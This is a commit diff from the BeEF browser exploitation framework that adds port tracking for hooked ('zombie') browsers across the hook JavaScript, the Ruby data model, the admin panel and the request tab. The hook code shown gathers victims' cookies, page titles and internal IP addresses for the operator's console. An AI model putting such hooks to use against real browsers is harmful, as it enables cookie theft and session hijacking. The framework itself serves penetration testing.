Storing port of HookedBrowser, fixing value of HookedBrowser.domain
git-svn-id: https://beef.googlecode.com/svn/trunk@1365 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -628,7 +628,7 @@ beef.browser = {
|
||||
if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
|
||||
if(cookies) details["Cookies"] = cookies;
|
||||
if(page_title) details["PageTitle"] = page_title;
|
||||
if(hostname) details["HostName"] = hostname;
|
||||
if(hostname) details["HostName"] = hostname+":"+document.location.port;
|
||||
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
|
||||
if(os_name) details['OsName'] = os_name;
|
||||
if(internal_ip) details['InternalIP'] = internal_ip;
|
||||
|
||||
@@ -33,6 +33,7 @@ module Models
|
||||
property :httpheaders, Text, :lazy => false
|
||||
# @note the domain originating the hook request
|
||||
property :domain, Text, :lazy => false
|
||||
property :port, Integer, :default => 80
|
||||
property :count, Integer, :lazy => false
|
||||
property :has_init, Boolean, :default => false
|
||||
property :is_proxy, Boolean, :default => false
|
||||
|
||||
@@ -93,6 +93,7 @@ class Panel < BeEF::Extension::AdminUI::HttpController
|
||||
'session' => hooked_browser.session,
|
||||
'ip' => hooked_browser.ip,
|
||||
'domain' => domain,
|
||||
'port' => hooked_browser.port,
|
||||
'browser_icon' => browser_icon,
|
||||
'os_icon' => os_icon
|
||||
}
|
||||
@@ -103,4 +104,4 @@ end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -213,7 +213,7 @@ ZombieTab_Requester = function(zombie) {
|
||||
if(!value) {
|
||||
if (zombie.domain) {
|
||||
value = "GET /demos/secret_page.html HTTP/1.1\n";
|
||||
value += "Host: "+zombie.domain+":3000\n";
|
||||
value += "Host: "+zombie.domain+":"+zombie.port+"\n";
|
||||
} else value = "GET / HTTP/1.1\nHost: \n";
|
||||
}
|
||||
|
||||
|
||||
@@ -45,21 +45,30 @@ module Initialization
|
||||
zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].peeraddr[3], :session => session_id)
|
||||
zombie.firstseen = Time.new.to_i
|
||||
|
||||
# set the zombie hooked domain. Uses the origin header, or the host header if the origin is not present (same-domain)
|
||||
if @data['request'].header['origin'].nil? or @data['request'].header['origin'].empty?
|
||||
log_zombie_domain = @data['request'].header['host'].first
|
||||
if not @data['results']['HostName'].nil? then
|
||||
log_zombie_domain=@data['results']['HostName']
|
||||
elsif (not @data['request'].header['referer'].nil?) and (not @data['request'].header['referer'].empty?)
|
||||
log_zombie_domain=@data['request'].header['referer'][0].gsub('http://','').gsub('https://','').split('/')[0]
|
||||
else
|
||||
log_zombie_domain = @data['request'].header['origin'].first
|
||||
log_zombie_domain="unknown" # Probably local file open
|
||||
end
|
||||
log_zombie_domain.gsub!('http://', '')
|
||||
log_zombie_domain.gsub!('https://', '')
|
||||
|
||||
log_zombie_domain_parts=log_zombie_domain.split(':')
|
||||
|
||||
log_zombie_domain=log_zombie_domain_parts[0]
|
||||
log_zombie_port=80
|
||||
if log_zombie_domain_parts.length > 1 then
|
||||
log_zombie_port=log_zombie_domain_parts[1].to_i
|
||||
end
|
||||
|
||||
zombie.domain = log_zombie_domain
|
||||
zombie.port = log_zombie_port
|
||||
zombie.httpheaders = @data['request'].header.to_json
|
||||
|
||||
zombie.save # the save needs to be conducted before any hooked browser specific logging
|
||||
|
||||
# add a log entry for the newly hooked browser
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}")
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
|
||||
|
||||
# get and store browser name
|
||||
begin
|
||||
|
||||
Reference in New Issue
Block a user